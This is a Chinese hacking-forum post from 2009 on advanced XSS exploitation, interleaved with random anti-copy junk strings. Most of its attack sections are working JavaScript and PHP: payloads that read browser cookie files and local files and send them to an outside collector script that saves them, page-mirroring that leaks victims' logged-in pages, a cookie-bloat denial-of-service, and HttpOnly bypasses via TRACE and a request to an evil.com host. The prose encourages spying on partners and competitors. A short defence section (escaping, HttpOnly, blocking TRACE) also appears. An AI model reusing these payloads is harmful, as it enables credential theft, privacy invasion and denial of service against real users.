XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
0 m$ a6 U8 V9 @本帖最后由 racle 于 2009-5-30 09:19 编辑

$ J" E1 T9 q: Q/ z) bXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
# j. I' u5 r" m/ z) e; M5 [  R- Ehttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
" r! h' C5 H+ M- \# b
" I! }; r7 V: ?8 P6 v
8 `! K8 `% n+ z8 ?/ {( L( H
-------------------------------------------前言---------------------------------------------------------
" Z  w  d( [8 |! e2 S! e( L
" V. b9 \# A: z6 I( I' l" d
/ h' i& a' N% c# ?: i4 w本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

, Z% l0 z4 S) e+ J" K
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
  W7 O2 W3 T) R5 J1 K8 {7 ~$ c. ihttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
0 {. I: l# [8 n4 Chttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


/ I& `8 m7 m0 b% R( j; R7 D0 v
$ t! s/ r" T7 a7 ]5 k3 N, t& D7 t
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

2 t) c# Q( b% `0 n希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
9 L) _8 [+ q4 G) j# V8 m
7 x: C0 [' F* u; k- D& s, G5 h如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

6 v; Q9 ^0 m& t* t2 P9 b5 [$ qQQ ZONE,校内网XSS     感染过万QQ ZONE.

2 F& H* ^, l+ F, ]! Q2 t5 ROWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
" E9 l) j4 v6 y" m5 y& f复制代码------------------------------------------介绍-------------------------------------------------------------

* s$ e6 C) k* t: @  r- T1 B+ k7 ]什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
; ?+ U& F- y. C6 x. H' ~& j

  [3 J. d- T' `; T5 _4 V. H6 p
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
6 P; l. v7 Y( @! G9 C6 j5 q' Z
" n. c# W$ G! h( D: F
2 Z) N/ _; c( @  u
7 K1 q, G' y/ Y) U" v9 r+ n如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
) D+ g" J% o: N6 a. ?复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
! D3 W* L6 _& I# G% E我们在这里重点探讨以下几个问题:
8 B+ `) `/ I; L: D9 d2 C
1        通过XSS,我们能实现什么?
5 F5 p8 [, [2 K* W& I5 A
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
* [, m( \. I2 a3 C$ }
" m- Y% T2 O, x4 P3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

; u& G; f# F. x2 A! v4        XSS漏洞在输出和输入两个方面怎么才能避免.



------------------------------------------研究正题----------------------------------------------------------
9 w* `, @6 ?/ Y
; ~% U' D8 ~( U0 N- y/ n' M$ V( Z
; H! }+ Z) M; C* W. V' G
: [) |2 E' d8 V# K通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
: K- C. u: B" k' @, o# ]& E复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
9 s; C& q/ Z" I* g1 }3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
  t& s3 A) u- `6 c* e) M) Q. S4:Http-only可以采用作为COOKIES保护方式之一.
7 d; C! i% X# X1 K* h


2 R1 {" b; m3 X  {6 I

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

/ W8 \  U$ Z0 e$ g: K0 z3 w* X我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


( j: o/ {4 m8 x, E2 S
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

- Y5 K# }+ C4 w5 F* o
/ c4 n  ^6 m7 N
' W  J7 U. S+ m3 B. e' L    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

7 I  T; z7 K* w8 b1 {

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
& ?! e. ~' j8 c7 Z4 S; |' g复制代码IE6使用ajax读取本地文件    <script>
# k/ o$ F9 m' A* u. w
    function $(x){return document.getElementById(x)}
' |" G* g$ r. A0 A
- h" l  T+ W. S5 _
: h$ H# M6 c. \  R: b! Y
    function ajax_obj(){

* U" K* _9 K, `- Z! o    var request = false;

    if(window.XMLHttpRequest) {
0 E, }7 x2 b) c% m( ~( E$ V" I# y
    request = new XMLHttpRequest();
5 T2 V0 H( C) ^2 n5 @3 Y
! u9 t% F8 I5 e  i    } else if(window.ActiveXObject) {
4 ^# Y+ t& D- U; c# u+ l5 m$ z1 q) h7 Y
9 L/ d; @1 m) C6 h) U2 v) H    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
' O7 j6 q& e" `& S( u7 \8 g; \0 Z) Z
. T7 Z( s8 z! K: @3 m( i
0 ^4 ]0 n* ?) Z- t9 b! `/ K7 e) z
5 R- n8 u- K& G, B: ]6 L    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 A  h8 K# B- _* e5 n: o  [  ?
    for(var i=0; i<versions.length; i++) {

    try {
" _# B  u3 k3 @
    request = new ActiveXObject(versions);
# z$ ]% \' }- c, }7 m
( k+ Y0 A2 Q2 I8 f    } catch(e) {}

  G& c) A  [; ]$ d    }
. q* o" o1 [" l! ]6 l3 O; J4 w
    }

- R3 z+ |2 h6 `. `* D    return request;
" r1 u+ W+ j  i( I5 i
    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
" L$ n$ f  h- y3 Z6 v8 w; j, w
$ r* a: O# Z. ^5 y: A7 l8 s    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
) ~, B4 b& k0 d/ m# E: H# A
    return _x.responseText;

$ F" m9 J3 c5 h9 A% ^8 w    }
4 C, O  j8 y6 b
3 i; k/ V  Y: {* |  A% e+ _

6 l4 P; J" O$ w* z( W    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);


1 |1 B# J/ _5 E9 F
    </script>
! f1 Q' B$ x# f0 w: ]+ l9 y复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}


/ T- H# `" h; t, L+ T/ @; G
' n5 H4 ]0 l  F# t" R    function ajax_obj(){
; |, J. w6 a  r( p- S) L5 G, s
3 @  Y) @. C, D7 @" M    var request = false;
- d: D* D+ Q# [6 |
" L) c, ?. u5 N* I: Y    if(window.XMLHttpRequest) {

$ Z& N) b: v9 q' Q; U: G    request = new XMLHttpRequest();
7 |/ P0 u3 X6 G, }
    } else if(window.ActiveXObject) {
: o8 @* z* b$ [) {
1 f2 ^' y9 }# |' B    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
! I1 \' ~+ R9 b3 o5 X9 @


( Q- P- V; o; r    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
3 \  n. p  H9 z- A% {  Y5 F: y
    try {

    request = new ActiveXObject(versions);

    } catch(e) {}
$ v; x# ~5 ~; t7 F5 G5 y# i: Q
" S$ c# v) \8 I5 e. {! Z! X/ E  H    }

0 o* A; F. J/ M7 }2 \0 E    }
! U& W+ {6 }) x9 z, W
% P0 k% F+ `' h6 m4 j8 h6 C    return request;
3 `" d3 Z- @- t" m. N1 {
+ u# E6 R' g: a& N# ~    }

    var _x = ajax_obj();
% f+ K* m. L3 B+ }
    function _7or3(_m,action,argv){
' f- x7 o; k4 I0 ~  h& X5 u4 Q
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
, r# F$ p7 e( K& k* d# W) a# u
( O! p& y' _6 j! y    _x.send(argv);

    return _x.responseText;

    }
/ [) n. Z' W& M" \8 _: d

6 a6 g! g) y# r
& z/ f+ g7 `  F0 x    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);

3 y# E1 C3 j/ [+ ?
3 ~5 f/ v* E" j$ [0 I$ W3 ^7 b1 O
  B* a0 L3 W& C) m* s) i% B& m6 x    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
. E9 `) H5 _+ {1 K$ F% c


3 a: n& L* v! HChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



4 I$ X; ~, y( q  f<?   
7 n: K) m- e! S) [
! W3 l8 N, X) g1 B4 W/ }0 T/*  
5 g' m9 R3 c% r5 i3 ?9 k0 }
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

0 O. C( }5 u( T9 ?, C     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

$ e6 i( n3 Z. v2 k% L     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

; ^% e5 `. s- g& cheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
. J) x2 }& V2 i5 a9 @4 Y
$ x: ]% I. {; n' W/*  
$ J# i) \+ S: z& y6 R$ [
9 q7 X& V: \) u/ a: ]; Q     set header, so just download html file,and open it at local.  
4 g& b2 N6 [- @  [
*/  

?>   

6 c) ?4 `4 A2 o' J% k/ A<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
/ D! J* [  |; V- w
     <input id="input" name="cookie" value="" type="hidden">   
3 u% }. W5 F, d) Q  ^% a/ o
</form>   
0 Q, L! ~2 H  E9 x( Z
<script>   
* e/ {. l5 p1 a
  O+ _- ]/ ~9 c- L2 ^function doMyAjax(user)   
( i7 A- E5 o0 N, S
{   
5 }( x; ~, ?" O1 L
var time = Math.random();   
! A; g; s% X  X
6 E: M' n& A* W+ `) a/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

) x0 _" ^5 B  ~: Y' V4 i4 G) T5 Gand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

/ T% Z% }( }% ~# o" ~) D% N2 S$ m6 I*/  

; M& m+ x$ c$ _6 j( F/ Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   
" g$ d4 x1 D  }, Z' P* b" Q, F( l
startRequest(strPer);   


! l" k6 f  [. c3 ~
& t1 a* ~4 D, s0 R7 K7 R2 i}   

- @8 ~( o" G5 U* ]- k7 N" V  o   

0 @+ l# X6 S# Gfunction Enshellcode(txt)   
9 j# {+ {# w3 ^9 ~9 f  w
1 x# n: a" W% C6 @! M{   

9 Y9 H6 w& g2 l; ~( cvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   
$ S1 K) u- D; Y; L! U5 ?. [
+ y# ^& {/ o( S/ ~: R) Al= url.length;   

for(;i<l;i++){   

k=url.charCodeAt(i);   

- T: B  G" h! X3 e. E( oif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
/ B( ^9 _' i( s9 R
$ x2 l5 j0 j& a4 D! S" u3 Y5 Mif (l%2){curl+="00";}else{curl+="0000";}   
& H) d- t/ Q  y+ I
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
, g* \( i9 l/ ~4 r' I
return curl;   
( u/ s9 ]) R2 C/ {9 r
4 ~* @' @+ y+ j# K1 \% I}   

/ o$ W4 l3 R( u( I   
* @3 a( e3 A3 |. r' i- L4 A
   
5 S2 d% s, f7 P
5 v6 G7 Q/ K) O/ n2 t$ Xvar xmlHttp;   

  u6 o, p7 [( P  _9 g% lfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
% ^+ z! M9 [( E
/ O& m0 {$ z- {+ l* [0 D6 @xmlHttp = new XMLHttpRequest();           
% B1 E, K5 R5 q% I* K2 g0 ?" E
- t9 t) p# v( J! Y  t. Q2 U     }   
# [; Z: P- ^) X$ p6 W* @2 y
     else if(window.ActiveXObject){   
# J4 h0 S6 _9 u0 C8 j! ~' o) N
4 |' L$ \6 b% c& h3 W! D" I! ixmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

& t7 z: a& D, N) R" a6 W     }   

5 q" @$ V7 n, _$ F}   
. e8 Q# ?* G8 G3 m
   
. s# Q* _& P# }, l& h
function startRequest(doUrl){   
5 g0 w0 _3 z7 C  [
   

* L% m8 R) Q2 ?; \     createXMLHttp();   
" G- {( q" m" B9 l5 T; g) o- b0 i
$ K  t7 s9 \4 |8 G2 a, R" ~- u. G

     xmlHttp.onreadystatechange = handleStateChange;   
& U. ?! ^. E2 e0 N, E/ K) k

5 B( ?" d5 d/ b$ k
     xmlHttp.open("GET", doUrl, true);   

8 T; p( b: q: d* U! L  R7 C4 V* a+ R

     xmlHttp.send(null);   

: h1 i- L: d* b' z2 {0 q6 B

3 \8 ^2 o5 ], {0 T
% {% g! [7 {0 h# i! w; D* D, M
- @- m  W- y1 u8 d6 n}   

   
. S0 T' a# C6 f, R
function handleStateChange(){   
, ^( T9 L  h5 Z7 o; p0 i; J" P* t2 W
     if (xmlHttp.readyState == 4 ){   

9 ]- R' U1 |4 Y+ @. ~2 c* d+ G7 J     var strResponse = "";   

5 H, J) k( j$ o# C6 ~, L$ ?     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
6 S1 d" Y8 r* q2 z
# q( U/ m  V- X% C. m" z/ @        
. w0 f' V' B4 C2 x
+ M0 f" M) ^+ v7 i     }   
3 E, ^2 e& w1 _; B) L  m. q$ q2 \
. V) }1 Q! V8 y; w+ [}   

   

2 [* J5 \8 H1 c% b. U; w   

function framekxlzxPost(text)   
+ f3 J% V+ `: P/ Y+ R% _
{   
5 j+ v) y- p* I- R
: o; n& L: U/ y6 r, M& R/ U/ C' ^     document.getElementById("input").value = Enshellcode(text);   

* x. t7 Z: M7 N# W7 l0 T( C     document.getElementById("form").submit();   

) g' q! P  B# m, i}   

/ p3 B( B+ `' w7 g$ A   

6 b" ?5 [8 ?& I) G( ndoMyAjax("administrator");   
' ?+ j$ U8 ^! s" d: H3 W
  ?7 G% J0 e$ p8 I/ g  q   
* ?0 B& d, ^5 p- Z# ^
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
1 ?0 Q5 E" |0 r
" A) k% A: T6 @' {* R8 g: Hvar xmlHttp;  
" c& V  q4 Z2 Q" x! J. i/ H1 E
7 j! z) M, F3 o+ C3 cfunction createXMLHttp(){  
' b! Z9 U( H; e4 M# I3 u5 w0 I: X+ M
     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
  Y" w) D% i. ^/ O
# y6 {6 ]0 j, j" E     }  
, A: t) p5 l* {" i6 G/ U
4 U0 C4 ?/ ^1 @. j& ?& m% e     else if(window.ActiveXObject){  

3 J" e" C+ Q0 A( X8 q& ]* o         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
0 T, w  h8 D9 W. J% p8 b* J
1 a2 b% }4 l  n; V     }  
5 x- ?3 q2 Q- K/ }: [
2 i  v5 o4 f8 K0 J9 y* }}  

   
! W  B3 O* D6 H5 F6 a! \
function startRequest(doUrl){  
+ v2 S+ m8 R, b& Z9 ?. `
           
# l7 Q* m4 ^" ?
     createXMLHttp();  
2 R: x1 B/ `! t- A) o+ c
      
0 ^3 ^/ W. Y2 b6 q- _; ?
3 k6 |8 Y! O8 X8 r: X  R     xmlHttp.onreadystatechange = handleStateChange;  
  H& ^: l/ O. f: E% m
      

" i/ }. O! _) u     xmlHttp.open("GET", doUrl, true);  

      
, `3 X( t8 v. Y( B
     xmlHttp.send(null);  

      

      
& }( z, P& [- W8 _8 m
}   

1 A4 w' l+ {: H4 Z% M9 m   

# @' `1 T2 f% o( vfunction handleStateChange(){  

: n" J; I) ?6 M( ~0 o/ s2 N     if (xmlHttp.readyState == 4 ){  
" d0 ?( i* v' i7 G
, ~8 {) g% O5 Z7 p" o7 E; @: K" u7 o! }2 r             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

     }  
- c" `/ ~0 S- [: H& X
}  

/ P% T" [3 z2 E3 E8 P! p$ R7 d1 e   
: g6 S0 f5 G) v; [# J4 g( T
% S( l7 i6 O( t3 ^1 L$ B+ Wfunction doMyAjax(user,file)  

{  
+ W1 ]% U) \0 S! D6 M
3 u. m% N: \* _         var time = Math.random();  

; E+ Y8 f* I% y9 N' b" [           
8 Y+ J: |3 U, @) X/ x! Z
& l) x4 x  s# `; _         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

& o; L, z# I5 e. S0 |0 L           

4 D' o, I" B8 j' c  `9 r1 R         startRequest(strPer);  
0 B7 ~4 q5 {" q; h/ `& E
( b7 i/ B' h6 l5 h9 Q9 F3 L# \: J      

3 a+ g4 \5 M2 |4 P% C. [" H}  

   

/ d* \' D' A( j' F  q+ g9 ?function framekxlzxPost(text)  
/ p' \# E: m5 g, Q" s3 j) f! F
* q  U4 U8 Y. N3 p9 ^( i8 X; g{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
+ _8 G; @! V( ?* s7 i( t. B( I
     alert(/ok/);  

}  

9 V: S; Z, ^3 V5 J, U+ A2 }0 ?% r   

doMyAjax('administrator','administrator@alibaba[1].txt');  

* i3 y8 \4 H5 o& Q4 T: @6 S   

+ N" M. i1 H) h# K' J6 @/ p</script>

3 x! P1 |+ \; F& ]



a.php
. c3 K& S* q8 y- G- n* E, F7 |, m
7 F9 F4 e5 X1 q3 ^) ]

<?php      
, ^) _: t4 K% M* A, }! ~
  c2 k6 |6 H8 ^; W$ E/ N7 c/ R   
7 D7 T" ?: x7 b0 z, x) s: {8 S! D3 Q
4 f$ l# L" n5 P$ }7 \$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

0 R1 g. q/ x5 U/ {" B  
  W" @" m) R0 O! t6 G# e& f
/ N3 Q; u& F) N$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
% T9 O9 G0 x4 W9 _; I' i; e, R
fclose($fp);   

' M3 z6 x/ D+ i- d9 Q4 f?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
' s) J# V$ L' {7 ^% m# l+ X/ ]' q
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
# d/ x/ M/ e- z, r% T6 @+ Q' S% `9 C
% [* U( w! V3 J0 I9 t1 ?# B代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

% R# ]" ~9 o/ q4 f//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

2 w# v. U# e( Y  p+ X# w: \" J//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
0 W% f+ [6 ~+ A' J/ Q/ H
var image = new Image();
+ p/ t4 S6 _' o, [
image.style.width = 0;

image.style.height = 0;

8 r" E5 L. q/ @9 gimage.src = s;
- Q! c4 C' l8 J2 N
}
1 j" B! [' L9 p0 J7 p2 E! z
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 i4 F3 r! M% b复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
- e; y  H6 x- S% G9 ~
var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
) @2 O3 m. w; x2 P3 V
while (str.length < 4000){
. J% R& \4 b& B( j, x1 b8 i% j
    str += metastr;

) g! d, v; E+ d$ ?% u}


& a3 z+ k4 C8 Q6 j5 W" K
: d* C- M8 |! _: y9 {document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
3 o6 L" z" y4 c/ T! c6 p; O
</script>
0 ?0 [. x, c/ U! C4 d
3 T+ m2 }) ?8 X% w$ N/ e详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ R2 W. ^  T1 |复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
# u; E' r2 C& C) }1 Yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
& |3 f& B% s9 e5 T: l+ w攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

8 n2 |* h) i5 a6 \! r6 j
1 s! I! V3 ]) W
5 `6 E( x  W% R6 i% r* r$ J- F
4 C% [9 G4 H( ^% ]# m; |0 B% A% L

(III) Http only bypass 与 补救对策:
/ H# y! b4 ~0 W9 b" b
4 v, n' G- ?+ ?: ^' Y什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

function normalCookie() {

4 R2 y1 I$ H' Xdocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

}
0 K, J- y& u  B# u& ?0 j9 D



3 K- T, C  e1 Q) \3 A! k( O
* K9 h9 I' T9 @5 t( [; Ifunction httpOnlyCookie() {

  A; S/ T; ^, C. Rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
) s  r$ L: F* N$ Z  O6 K
- v, C3 J7 w* f! e* r, Galert(document.cookie);}

5 Y2 J% ~5 q4 S

4 r5 g# L. [% @8 C1 c3 T//-->

, ]3 I5 v, d4 m4 z</script>
; @% p" U. V4 h
4 I2 G0 d" Q. c, ^( }. ?: q
1 ~7 K2 P- r4 I1 \' E
& u1 Z) j; ^9 l+ R9 u<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
: A  Z' w  c) U; u7 ^" t4 o/ T
5 m; s0 r& h: ~# p  V
$ e' ]# \5 F) _! e
( b, b! v# o6 F3 H9 cvar request = false;
: v- ~6 J1 E  Y) U& H' R% Y6 L
        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
, ?0 E0 I4 ]2 t
                request.overrideMimeType('text/xml');

  \2 r1 n" @6 D, {0 g            }
2 A# U% P1 n! j7 S& @' b0 a
        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; I3 e" N4 J$ e. w$ y
            for(var i=0; i<versions.length; i++) {
- o) Z$ u" r& N: O, }
, s  l$ j) O+ H) G( s* ]# k; H! y                try {
$ ?( Z1 F$ p) v8 `0 R
" v" r) E! a# F& |                    request = new ActiveXObject(versions);

                } catch(e) {}

            }
" ~5 V: D, \3 X- e$ {; l4 _
' S, q, E9 h6 _7 Q6 D3 s1 r        }

xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

( n  g' i* B. v# z. k5 j5 IxmlHttp.send(null);

* s8 B0 N% h' g. _% yxmlDoc=xmlHttp.responseText;

9 \3 |3 D' y' V1 h& G; qalert(xmlDoc);
5 \' P& ~7 c) c& y- c) J2 n
& M% b: s$ A6 y4 W8 M</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

) g7 A" i' J3 E' V) u7 k! uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
3 o/ R6 P2 i; _& c. Q
XmlHttp.open("GET","http://www.google.com",false);

: R; Z. e; G' ]' v. c0 n7 l- VXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
+ C- C" T6 j1 _
XmlHttp.send(null);
$ R# N6 c4 Y9 z( b; N- h. x! {
( O0 Q& A. X5 i) p8 j0 ?var resource=xmlHttp.responseText
7 m: S8 q* U! E0 F2 Y; r  S% k1 E
resource.search(/cookies/);

2 v+ T) V2 v7 e5 u8 K( A) y" L......................

$ _$ q3 h6 \* y2 B1 l</script>

3 a9 w- x- X3 p% N1 d4 }

# |9 p( w" q5 u; f/ D* ~* g. r

: A% x! u- o$ P如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

# A* o: x+ r( {% }RewriteEngine On
4 l. L+ Q; X1 L: v) Y6 O
RewriteCond %{REQUEST_METHOD} ^TRACE
3 f* S$ S6 I8 d  l* g
RewriteRule .* - [F]
7 F5 d0 ]7 d+ _5 [
' k+ {' w/ \" `2 z
- F) v$ V7 C5 m7 K. h7 R
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 f9 M1 E; Y  k2 f1 m
acl TRACE method TRACE

( J3 |9 v5 \/ b: Z3 y) o, {...

http_access deny TRACE
! p+ X" C+ g# u+ A复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

8 v9 R# L& e# k; Rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

8 P3 @, i4 b  U' Y+ }) XXmlHttp.open("GET","http://www.google.com",false);
